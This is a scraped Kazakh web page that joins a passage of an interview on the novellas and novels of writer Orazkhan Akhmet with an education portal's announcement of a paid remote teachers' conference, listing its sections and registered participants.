- Осы аталған хикаяттарда жазушының сюжет құруы мен өзі көздеген идеяны аша алуы көңіліңізден шықты ма?
- Көркем шығарманың ұлы сүйегі негізгі және қосымша идеялардан құралып, басты идеялық өзекті арқау ете желі тартады. Шығарма идеясының бір түйінге ойысуы керекті детальдардың сәтті орналасуына байланысты болып келеді. Бір ойды бір ой жетелеп, бір оқиғаны келесі бір оқиға туындататын жағдайлар көркем шығарманың сюжет желісін құруда жиі кездесіп отыратын құбылыс. Мәселен, «Ең соңғы көз жас» повестінде орман қорғау бөлімшесінің бастығы болып тағайындалған Жапар бастаған бір топ адамдар өздерінің қылмысты ізін жасыру мақсатымен, бір сайдың орманын өртеп, жаласын жай қызметкердің біріне жабады. Сол барыста, Жапардың шешесі, Бөкей қарттың аяулы жары – Ақтоқтының зираты да өртенген орманмен қоса кетеді. Міне, осы жерден повестьке тың сюжет қосылады. Ол – қарт Бөкейдің жастық өмірінің куәсі болған Ақтоқтыға қатысты эпизод еді. Негізгі оқиғалық желіні жетелеп шығарған бұл эпизод – Бөкей қарттың алаулы махаббаты жолындағы ерлік оқиғалар болғанымен, автордың басында алға қойған негізгі идеялық мақсатынан тысқары жатыр. Әрі тұпқазық нысанаға дәл дарымайтын, ең негізгі өзекті идеяға қызмет етпейтін қосалқы, жапсырма сюжет. Мұның себебі, біріншіден, Ақтоқтыға байланысты оқиға Бөкей өмірінің мәнді бөлшегі болғанымен, автордың көздеулі идеялық жоспарына тіке қатыссыз оқиға. Екіншіден, Ақтоқты оқиғасының ұзақ баяндалуы яғни повесттің тең жарымына жуық көлемді иелеп тұруы.
Біз жоғарыда көркем шығарманың сюжеті негізгі идеяны желі ете отырып өрбиді дедік. Және соған сай негізгі идеяны толықтыру мақсатында көптеген шағын сюжеттер болатындығын, әрі ол сюжеттердің шығарманың негізгі идеясын көрнектілендіре түсу үшін алынған қосалқы идеялар саналатындығын қайталай еске сала кетеміз. Ақтоқты оқиғасы повестіке қыстырма баяндау тәсілімен беріліп, Бөкей қарттың өз махаббаты жолындағы ерліктеріне арналған тақырып. Кейіпкер Бөкейдің адамдық болмысын, кіслік тұлғасын кемелді көрсету мақсатында берілген қосымша идеялар екені анық. Алайда, ескеретін бір мәселе, қосымша сюжеттер негізгі идеяның салмағынан асып кетпеуі керек. Жазушы суреттеп отырған оқиға және оның қосалқы бөлектері, кейіпкер арасындағы талас-тартыстары мен арман-мұраттары, күйініш-сүйінштері, т.б. бәрі-бәрі де жазушының сол шығармада айтпақшы болған идеясына бағынып өрістетіледі. Оқиғаны солай қарай икемдеп отырады. Кейде, жазушыны оқиға жетелеп кететін жәйіттер де жүз береді. Табиғи өз арнасымен ілгерлеген оқиға жазушының бұра тартуына көнбейді де, жазушы амалсыздан оқиғаның соңына ереді. Дамып, шиленісті бір кезеңге жеткен оқиғаны жазушы қысқа тұйықтап доғара сала алмайды да, оқиғаның шешім табуына дейін жазуға барады. Мұндай, жағдай жазушы идеясының шашыраңқы болуына, композициясының бошалаңдығына апарып соғады, шығарманың жалпы көркемдік тұтастығына әсер етеді. Жазушы Оразхан Ахметовтің аталған повестіндегі Ақтоқтыға қатысты сюжет хақында осыны айтар едік.
- Сіздің пайымыңзша, шығармадағы «Ақтоқты оқиғасы» басы артық дүние сияқты ма қалай?
- Рас, Ақтоқты оқиғасы тартымды баяндалған, повестьтен бөлшектеп жіберсек, өз алдына бір әңгіменің жүгін көтеріп жүре беретіні де анық. Көркем шығарма идеясының тығыз, бір бүтін тұлғада келуі үшін, тұтас шығармаға арқау болған әрбір сюжет, штрих дерлік негізгі идеялық мақсатқа желі тарта отырып берілуі тиіс. Мақсатсыз алынған әрбір деталь шығарманың сиқын кетіреді. Қанша көркем берілседе, идеяға қызмет етпегеннің бәрі де өлі сурет болып қала береді. Жазушы Оразхан Ахметтің бұл повестінде мүлт кеткен жері де осы. Дейтұрғанмен, автор повестьтің идеялық шешімі ретінде философиялық астарлы ой ұсынады. Автор қайраты кетіп, жаңа дәуір жастарына билігі жүрмей қор болған қарттың ішкі қыжылын ой ағысымен береді. Көз алдында отқа оранып тақырға айналған даланың, сирексіген орманның қалын көріп жаны бір жараланса, бауыр еті баласы Жапардың тірліктері онан арман қартты қасіретке батырады. Сөйтіп, тағдыр дауылына қарт емендей қайыспай қарсы қарап келген Бөкей қария қайғыдан үзілді, өкіншпен өмірін аяқтады. Тіпті, көзі жұмылып бара жатып та, қатты өкініш білдіріп жатады. Қарттың көз жұмар алдындағы ең соңғы монологы: «Балаларыма адал еңбек жолын тауып бердім деп ойлаған едім, қате басыппын. Менің оларға беретін мұрам Ақтоқтының асыл арманы, махаббаты екен». Жазушы шығарманың соңғы шешімін – ұрпағыңа мұра ретінде қалдыратын шын құнды дүние заттық байлық емес, жақсы тәрбие, асыл мінез бен махаббат дейтін идеяға түйіндейді.
«Жасыл бақша» жазушының балалар әдебиеті тақырыбында жазған екінші көлемді шығармасы. Бұл повесттің негізгі желісі – кейіпкер Жомарттың отбасында орын алған оқиғаларға құрылады. Маскүнемдікке салынып, ұрпағының тағдырын, отбасын ойрандаған ішінара адамдардың тірлігін сындайды. Бұл – «Алсытағы оттар» повестіндей тым табысты шықпаған. Повесттің соңында, автор өзінің болашақ ұрпақтан күткен үмітін кішкентай Жомарттың әкесін арақтан арашалау үшін дәрілікке жылан ұстайтын эпизодты арқылы береді.
Жоғарыда, Оразхан Ахметтің повесть жанрындағы алғашқы туындыларына тоқталып, жазушының алған тақырыбын игерудегі және әрбір детальды орынды қолдана отырып, көркем идеяны көрнектілендіре көрсетудегі суреткерлік шеберліктерін, әсіресе, жазушының сюжет құру мен композиция бірлігін бір жақты етудегі ерекшеліктерін шағын аяда болса да саралап өттік. Мақсатымыз жазушының стильдік жақтан қалыптасып, өсу барсын, сондай-ақ, жазушы парасатының қырларын көрсетіп беру болатын.
- Жазушы Оразхан Ахмет қазақ әдебиетіне роман жанрында үлкен олжа салған қаламгер. Енді әңгімені осы арнаға бұрсақ?
- Роман – дәуір туындысы, қоғам айнасы. Әр дәуірдегі қоғамдық-саяси өзгерістер сол дәуірде жасап отырған адамдар тағдырына зор ықпал жасайды. Заманның өзгерісі тудырған адам тағдырындағы сан алуан құбылыстарды көркемөнерлік талаптар бойынша кең тыныста суреттеп беру роман жанрының еншісінде болады. Роман – әңгіме, повесть сияқты өмірдің бір үзік қырларын ғана немесе бірер адам тағдырын ғана суреттеумен шектелмейді. Ол бір халықтың, бір ұлттың, бір тарихи дәуірдің елеулі оқиғаларын, күрделі саяси-әлеуметтік күрестерін, ауқымды мәселелерін суреттеу объектісі етеді. Әрине, әдебиеттану ғылымында алып жанр романның теориялық мәселелері аз қарастырылған жоқ. Ол жөнінде шертер хикая бөлек. Зерттеуіміздің ендігі тізгін тартар нысанасы – Оразхан Ахметовтің романдары жайында болмақ. Жазушы қаламынан қазірге дейін «Өзгерген өңір», «Көкбелес», «Құмдағы іздер», «Аманат» қатарлы романдар туды. Аталған романдардың көркемдік табыстары, жанрлық сипаттары, идеялық мазмұны, сондай-ақ, жазушының суреткерлік қырларын, стильдік қолтаңбасын айқындайтын тұстарын мүмкіндігіміз жеткенше талдап көрелік.
- Осы тұста жазушы романдарының негізгі арқауын тарқатып айтып кетсеңіз?
- Оразқан Ахмет романдарын негізінен «Мәдениет зор төңкерісі» тұсындағы оқиғаларды тарихи астар, өмірлік дерек ете отырып, өзі басынан кешкен сол бір қилы күндердің шындығын суреттеуге құрады. Бұндағы көркемдік деталь идеяны бейнелеп жеткізудің құралы. Ұқсас детальмен ұқсамаған тақырыпты көтеріп, тың ой айту және қиын. Үлкен ой айту үшін, әсіресе, роман сынды сүйекті жанр дәуірлік сипаты зор ірі-ірі оқиғаларды талап етеді. Ондай оқиғаны жазушы ұзақ уақыт зерттеп, оқиғаның жайы, дәуірлік астары жазушыға бейне өзі араласқандай айқындалып тұрмаса, шығармасы сәтті шықпайды. Жазушының қайта-қайта кешкен күндеріне соғып, «Бір атқан жеріне жүз келген аңшыдай» шиырлай беретіні де сондықтан. Шыны керек, Оразхан Ахметов романдарындағы идеялық сабақтастық, оқиғалық үндестік оқырманға жазушыны бір шиырдан шыға алмағандай әсер береді.
ЖАЛҒАСЫ БАР...
Материалды көшіріп жариялау үшін редакцияның немесе автордың жазбаша, ауызша рұқсаты қажет және Adebiportal.kz порталына гиперсілтеме берілуі тиіс. Авторлық құқық сақталмаған жағдайда ҚР Авторлық құқық және сабақтас құқықтар туралы заңымен қорғалады. adebiportal@gmail.com 8(7172) 57 60 14 (ішкі - 1060) |
Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері - Мемлекеттің белгілі педагогтары мен мамандарының қоғамы
Жоғары
Басты парақ
Конференция
Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері - 2022
Санаты: Оқытушы, Мұғалім
Өткізу әдісі: қашықтық Қорытынды құжаттары қатысқан соң бірден беріледі
Жарна: 2500 тг - әр қатысушыға
= 2500 тг
Қоғамдық келісімді қабылдаймын Қатысу
МЕКТЕП ЖӘНЕ КӘСІПТІК БІЛІМ БЕРУ ҰЙЫМДАРЫНА АРНАЛҒАН КОНКУРСТАРҒА ҚАТЫСУҒА ШАҚЫРАМЫЗ.
Қатысу тәртібі: қашықтық
Өткізу мерзімі: Әр айдың 1 мен 31 күндері аралықтарында.
Қорытынды шығару: конкурстық жұмысты жібергеннен бастап есептегенде 7-ші күні нәтиже шығарылады.
Конкурсқа қатысу үшін тапсырыс беріп, төлемдерін растағаннан кейін конкурс материалын жүктеп, қатысушы СЕРТИФИКАТЫН алады.
Қатысу тәртібі:
Порталға тіркелу. Жеке кабинет ашу.
Конкурс ережелерімен танысу.
Қатысушы санын көрсетіп конкурсқа қатысуға өтініш беру.
Конкурсқа қатысу үшін ұсынылған әдістердің бірімен төлем жасау.
Конкурс тақырыбы бойынша әзірленген материалды серверге жуктеу.
Қатысушы сертификатын алу.
Конкурс талаптары:
Конкурс материалын серверге жеке кабинет арқылы жүктеу.
Жұмыстарды келесі форматтарда ғана жіберіңіздер: doc, docx, ppt, pptx, jpg, jpeg, png, pdf, avi, mp4, mpeg, mp3, ogg, wav, tiff, zip.
Конкурс нәтижесі бойынша орын алушылар белгіленіп, конкурс лауреаттарының I, II, III дәрежелі дипломдарымен марапатталады. Сертификат пен дипломды жүктеу жеке кабинет арқылы орындалады.
“Заманауи педагогика ерекшеліктері – 2022”
тақырыбында өткізілетін
Республикалық конференция бағдарламасы
Республикалық конференция білім беру ақпараттық жүйесінің базасында ұйымдастырылып, қашықтықтан қатысу мүмкіндігі қарастырылған. Конференция модераторлары "Qazaqstan Ustazy" қоғамының (ары қарай - Қоғам) ауыспалы және тұрақты құрамынан тағайындалады. Қазақ және орыс тілдері конференцияның жұмыс тілі болып саналады. Конференция материалдары (пленарлық және секциялық баяндамалардың тезистері мен мақалалары) конференция жұмысының қорытындысы бойынша "ADISTEME.KZ" (ISSN 2708-4280) журналында жарияланатын болады.
СЕКЦИЯЛАР ТІЗІМІ
№
р/р
Секция атаулары
1 Абай Құнанбаевтың шығармашылық мұрасы
2 Ағылшын тілін оқыту үдерісінде қашықтық технологияларды қолданудың негіздері
3 Алғашқы әскери дайындық пәнінде ғаламтор технологияларын пайдалану негіздері
4 Аспаздық шеберліктің заманауи әдістері мен құралдары
5 Әлеуметтік жұмыста инновациялық технологияларды қолдану негіздері
6 Балалар мен жасөспірімдер психологиясы
7 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
8 Биология пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
9 География пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
10 Геометрия пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
11 Ғылым және медицина: қазіргі заман көзқарасы
12 Дене шынықтыру пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
13 Жиынтық бағалау жұмыстарын ұйымдастырудың тиімді жолдары
14 Жобалық-зерттеу қызметінің мүмкіндіктерін қолдану арқылы білім алушылардың танымдық белсенділігін арттыру
15 Заманауи ғылыми зерттеулер мен әзірлемелер
16 Заманауи кітапханалар мен кітаптарды оқу технологияларын білім беруде қолдану
17 Зертханалық жұмысты жүргізуде заманауи құралдарды қолданудың негіздері
18 Инклюзивтік білім берудің зияткерлік технологиялары
19 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану
20 Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
21 Қазақстанның жаңғыруы: жаһандық бәсеке
22 Қазақтың тұңғыш кәсіби дипломаты Нәзір Төреқұловтың өмір жолы
23 Қазіргі психология ғылымы мен тәжірибесінің даму үрдістері және болашағы
24 Қашықтық білім берудің ақпараттық технологиялары
25 Қашықтықтан оқыту жағдайында сабақ ұйымдастырудың тиімді жолдары
26 Құқық пəнін оқыту үдерісінде зияткерлік технологияларды қолдану
27 Логистика саласындағы менеджмент
28 Математика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
29 Мектепке дейінгі білім беруде жаңа технологияны пайдаланудың тиімді жолдары
30 Мектепке дейінгі білім беруде жаңа технологияны пайдаланудың тиімді жолдары
31 Музыка пәнін оқыту барысында зияткерлік технологияларды қолдану
32 Неміс тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
33 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары
34 Оқыту үдерісінде жаңа технологияны пайдаланудың тиімді жолдары
35 Орыс тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
36 Өзін-өзі тану пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
37 Сызу пәнін оқыту барысында инновациялық технологияларды қолдану негіздері
38 Тамақтану технологиясы пәнін оқыту барысында зияткерлік құралдарды қолдану
39 Тарих пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
40 Технология пәнін оқыту үдерісінде зияткерлік құралдарды қолданудың негіздері
41 Физика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
42 Химия пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері
43 Экономика пəнін оқыту үдерісінде зияткерлік технологияларды қолдану
ПЛЕНАРЛЫҚ БАЯНДАМАЛАР
Сапарбаев Әбдіжапар Жұманұлы, "Нәзір Төреқұлов" Халықаралық қорының Президенті, Қазақстан Республикасының еңбек сіңірген қайраткері, Қазақстан Республикасы Ұлттық ғылым академиясы құрметті академигі, экономика ғылымдарының докторы, профессор, Алматы.- Елшінің бірлігі мен ерлігі.
Өскенбаев Алмас Әділбекұлы, "ADISTEME" журналының Бас редакторы, Алматы.- Қашықтық білім берудің ғылыми-техникалық қамтамассыз етілу ерекшеліктері.
СЕКЦИЯЛЫҚ БАЯНДАМАЛАР БОЙЫНША КОНФЕРЕНЦИЯ ЖҰМЫСЫНЫҢ ЖОСПАРЫ
КОНФЕРЕНЦИЯҒА ҚАТЫСУ Төраға: Сапарбаев Әбдіжапар Жұманұлы, "Нәзір Төреқұлов" Халықаралық қорының Президенті, Қазақстан Республикасының еңбек сіңірген қайраткері, Қазақстан Республикасы Ұлттық ғылым академиясы құрметті академигі, экономика ғылымдарының докторы, профессор, Алматы.
Хатшы: Өскенбаев Алмас Әділбекұлы, "ADISTEME" журналының Бас редакторы, Алматы.
Қаралу
мерзімі
Секция
Қатысушы аты-жөні
Лауазымы
01.11 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Яна Станиславовна Шушмарченко социальный педагог
09.06 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Холостенко Елена Васильевна Учитель начальных классов
06.04 Заманауи ғылыми зерттеулер мен әзірлемелер Курманбекова Дана Даулетхановна ағылшын тілі мұғалімі
11.02 Әлеуметтік жұмыста инновациялық технологияларды қолдану негіздері Андақұлова Арайлым Әлімқызы Әлеуметтік педагог
07.02 Жиынтық бағалау жұмыстарын ұйымдастырудың тиімді жолдары Әнуарбекова Индира Әнуарбекқызы бастауыш сынып мұғалімі
07.02 Жиынтық бағалау жұмыстарын ұйымдастырудың тиімді жолдары Курмангалиева Кенжегуль Дикимовна бастауыш сынып мұғалімі
22.01 Ағылшын тілін оқыту үдерісінде қашықтық технологияларды қолданудың негіздері Көмек Назгүл Орынбасарқызы Ағылшын тілі пәнінің мұғалімі
08.12 Мектепке дейінгі білім беруде жаңа технологияны пайдаланудың тиімді жолдары Кудабаева Жанна Руслановна Воспитатель
05.12 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану Сержанқызы Мадина Информатика пәні мұғалімі
01.10 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Дюсенова Балбобек Калеловна Зам.директора по учебной работе
22.09 Тарих пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Усин Бүркіт Шаяхметович учитель
22.06 Биология пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Ахметова Нұргүл Пернебекқызы доктор PhD (аға оқытушы)
09.06 Технология пәнін оқыту үдерісінде зияткерлік құралдарды қолданудың негіздері Оразбаева Кенжеш Калихановна учитель технологии
07.05 Заманауи ғылыми зерттеулер мен әзірлемелер Юсупова Фатимат
27.02 Қашықтық білім берудің ақпараттық технологиялары Потехина Лариса Васильевна заместитель директора
20.12 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Рахимжанова Айгерим Ергазыевна учитель русского языка и литературы
20.12 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Алина Динара Сулейменовна Учитель начальных классов
20.12 Балалар мен жасөспірімдер психологиясы Андреева Татьяна Михайловна Педагог-психолог
18.12 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану Кузьмина Ксения Геннадьевна Преподаватель специальных дисциплин
13.12 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Куттыгулова Динара Сатбековна Арнайы пәндер оқытушысы
11.12 Оқыту үдерісінде жаңа технологияны пайдаланудың тиімді жолдары Алтаева Орынтай Шамшатовна Директордың оқу ісі жөніндегі орынбасары
09.12 Технология пәнін оқыту үдерісінде зияткерлік құралдарды қолданудың негіздері Акимгожинов Азат Балтабаевич технология пәнінің мұғалімі
08.12 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Тоқай Зураш Бастауыш сынып мұғалімі
08.12 Жиынтық бағалау жұмыстарын ұйымдастырудың тиімді жолдары РАХМЕНОВА ШАРА ШАХАРБЕКОВНА Математика пәні мұғалімі, директордың оқу ісі жөніндегі орынбасары
07.12 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану Сапарова Дина Аманжоловна Учитель информатики и математики
07.12 География пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Смайлова Аксауле Аубакировна География пәні мұғалімі
06.12 Қашықтықтан оқыту жағдайында сабақ ұйымдастырудың тиімді жолдары Каунбаева Улдай учительница английского языка
06.12 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Нурмухаметова Алтынгуль Кумаровна бастауыш сынып мұғалімі
06.12 Ағылшын тілін оқыту үдерісінде қашықтық технологияларды қолданудың негіздері Тлеубаева Динара Арматовна Учитель английского, французского
06.12 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Хайдарова Жания Абаевна Директор школы
30.11 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Эркинбекова Шолпан Анарбековна Директорының бейіндік оқыту ісі жөніндегі орынбасары
07.11 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Кумар Шынар Ерлановна учитель начальных классов
04.11 Оқыту үдерісінде жаңа технологияны пайдаланудың тиімді жолдары Семакина Ирина Викторовна Заместитель директора по учебной работе
31.10 Заманауи ғылыми зерттеулер мен әзірлемелер Есенов Жандос Нуржанович география пəні мұғалімі
31.10 Заманауи ғылыми зерттеулер мен әзірлемелер Ақшалова Манат Межитбаевна мұғалім
29.10 Технология пәнін оқыту үдерісінде зияткерлік құралдарды қолданудың негіздері Ниязбеков Нұрбол Тәңірбергенұлы Көркем еңбек пәнінің мұғалімі
29.10 Заманауи ғылыми зерттеулер мен әзірлемелер Сұлтанова Сұлушаш Сақтағанқызы математика пәнінің мұғалімі
24.10 Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Садуакасова Гулжан Толегеновна қазақ тілі мен әдебиеті пәнінің мұғалімі
10.10 Қашықтық білім берудің ақпараттық технологиялары Мырзабиева Айман Камзадиновна бастауыш сынып мұғалімі
09.10 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Крайнова Наталья Николаевна Учитель начальных классов
08.10 Оқыту үдерісінде жаңа технологияны пайдаланудың тиімді жолдары Исин Рустем Амантаевич
27.09 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Толыбай Әлия Әнетбайқызы Бастауыш сынып мұғалімі
19.09 Оқыту үдерісінде жаңа технологияны пайдаланудың тиімді жолдары Амержанова Алия Сейсенбаевна воспитатель
03.08 Зертханалық жұмысты жүргізуде заманауи құралдарды қолданудың негіздері Дастанбек Айжан Дастанбекқызы
20.07 Заманауи ғылыми зерттеулер мен әзірлемелер Султангазина Сяудат Ермашовна учитель математики и информатики
17.07 Заманауи ғылыми зерттеулер мен әзірлемелер Нурмухамбетова Гульнар Калеловна учитель математики
10.07 Технология пәнін оқыту үдерісінде зияткерлік құралдарды қолданудың негіздері Абдиева Шекер Отарбаевна Технология және көркем еңбек пәнінің мұғалімі
03.07 Құқық пəнін оқыту үдерісінде зияткерлік технологияларды қолдану Киздарбекова Улболсын Абилхановна Преподаватель
20.06 Сызу пәнін оқыту барысында инновациялық технологияларды қолдану негіздері Акимбаева Баян Асылбековна Учитель черчения
15.06 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Рамазанова Раушан Утегеновна Директор
15.06 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Рамазанов Еркен Сайранович Учитель физической культуры
09.06 Оқыту процесінде жаңа технологияны пайдаланудың тиімді жолдары Болатова Салтанат Жанибековна Заместитель директора по воспитательной работе
01.06 Мектепке дейінгі білім беруде жаңа технологияны пайдаланудың тиімді жолдары Байбосунова Мариям Досымовна
28.05 Орыс тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Касымбекова Сапаркул Кожахметовна орыс тілі және әдебиеті пәні мұғалімі
23.05 Өзін-өзі тану пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Калымбетова Малика Орынбасаровна Өзін-өзі тану пәні мұғалімі
23.05 Абай Құнанбаевтың шығармашылық мұрасы Бектыбаева Рауиля Оразхановна учитель русского языка и литературы
21.05 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Бәрмешбай Айжан Еркінбекқызы бастауыш сынып мұғалімі
19.05 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Хуанбай Гүлнұр бастауыш сынып мұғалімі
19.05 Дене шынықтыру пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Кубетаева Наталия Григорьевна учитель физической культуры и спорта
18.05 Химия пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Бекенова Меруерт химия-биология пәндері мұғалімі
17.05 Сызу пәнін оқыту барысында инновациялық технологияларды қолдану негіздері Кузьмина Ксения Геннадьевна ЧУ «Технологический колледж корпорации «Казахмыс»
17.05 Қашықтық білім берудің ақпараттық технологиялары Абдуллина Динара Мухтизаровна Информатика пәнінің мұғалімі
08.05 Мектепке дейінгі білім беруде жаңа технологияны пайдаланудың тиімді жолдары Жалмағамбетова Жанар Тәрбиеші
14.03 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану Кулдрахманова Гульмира Машрыковна Информатика пәні мұғалімі
12.03 Математика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Оспанова Шолпан Тыныштыкбаевна Мектеп директоры, математика пәні мұғалімі
12.03 Биология пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Аймахова Сабира Есмаганбетовна Биология пәні мұғалімі
06.02 Тарих пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Нургальдиева Ардак Рсмухамбетовна Тарих пәні мұғалімі
02.02 Биология пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Караева Ырысгуль Мухатовна Биология пәнінің мұғалімі
28.01 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Баяхметова Шынар Бериковна бастауыш сынып мұғалімі
25.12 Тарих пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Алина Гульмира Канашевна Учитель истории
26.11 Физика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Боксенова Манат Каукеновна физика пәнінің мұғалімі
23.11 Орыс тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Ильясова Дамегуль Абдусаламовна Учитель русского языка и литературы
15.11 Орыс тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері ЖАҚСЫЛЫҚ БАҚЫТЖАН САПАРҒАЛИҰЛЫ Учитель русского языка и литературы
04.11 Музыка пәнін оқыту барысында зияткерлік технологияларды қолдану ӘРЕКЕШОВА ГҮЛЗИРАШ ОЛЖАБАЙҚЫЗЫ Музыка пәні мұғалімі
01.11 Дене шынықтыру пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Алиев Еркебұлан Ералыұлы Дене шынықтыру пәні мұғалімі
07.10 Физика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Керейтбай Майра Исабекқызы Физика пәні мұғалімі
29.08 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Вахаовская Елена Францевна преподаватель начального класса
29.08 Математика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Вышинская Татьяна Станиславовна Преподователь математики
22.08 Өзін-өзі тану пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Баймбетова Айнұр Ауесхановна Өзін-өзітану пәні мұғалімі
22.08 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану Шерметова Малика Розматовна информатика пәні мұғалімі
09.06 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Әлиакбарова Сәлима Жолмұхамбетқызы Бастауыш сынып мұғалімі
05.06 Музыка пәнін оқыту барысында зияткерлік технологияларды қолдану Адиева Айман Шазиндаевна Музыка пәні мұғалімі
05.06 Орыс тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Шалгимбаева Жанат Бахитуллаевна Учитель русского языка и литературы
27.05 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Каймакбаева Манат Райхановна Бастауыш сынып мұғалімі
21.05 Математика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Омарова Ботакоз Рысбайкызы математика пәні мұғалімі
24.04 Физика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Құлшаева Айымгүл Әлмырзақызы физика пәнінің мұғалімі, физика магистрі
19.04 Инновациялық білім беру құралдарын информатика пәнін оқыту барысында қолдану Қалитова Жұлдыз Кентайқызы информатика пәні мұғалімі
08.04 Оқыту үдерісінде жаңа технологияны пайдаланудың тиімді жолдары Абузярова Гулира Нажиповна Преподаватель истории и обществознания
11.03 Жобалық-зерттеу қызметінің мүмкіндіктерін қолдану арқылы білім алушылардың танымдық белсенділігін арттыру Кусаинова Гулжан Орынбековна ағылшын тілі мұғалімі
15.02 Дене шынықтыру пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Дүрманова Ардақ Сахиқызы Дене шынықтыру пәні мұғалімі
15.02 Дене шынықтыру пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Беркимбаева Асылзат Шакирбековна Дене шынықтыру пәні мұғалімі
14.02 Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Бактугулова Ардак Тарасовна Преподаватель русского языка и литературы, казахского языка и литературы
31.01 Ағылшын тілін оқыту үдерісінде қашықтық технологияларды қолданудың негіздері Елубаева Гулжамал Жумагалиевна Ағылшын тілі пәні мұғалімі
27.01 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Жамекеева Гульзада Танабаевна Бастауыш сынып мұғалімі
17.01 Математика пәнін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Есниязова Нургуль Ахметкаримовна Математика пәні мұғалімі
27.12 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Нугуспанова Шынар Туленовна Бастауыш сынып мұғалімі
06.12 Қазақ тілін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Рузденова Акима Сапаровна Преподаватель
04.12 Алғашқы әскери дайындық пәнінде ғаламтор технологияларын пайдалану негіздері Таласбаев Бауржан Председатель
04.12 Бастауыш сынып пәндерін оқыту үдерісінде зияткерлік технологияларды қолданудың негіздері Бокаева Нургул Сайлауовна бастауыш класс мұғалімі
04.12 Ағылшын тілін оқыту үдерісінде қашықтық технологияларды қолданудың негіздері Сатаева Айнур Амановна Преподаватель
Заманауи педагогика ерекшеліктеріне арналған конференция төңірегінде 43 секция бойынша 100 қатысушы тіркелді. Пленарлық баяндамамен 2 қатысушы тыңдалды. Конференцияға қатысу тапсырыстары координаторлар мен Қоғам мүшелерінің жеке кабинеттері арқылы қабылдану жалғасуда.
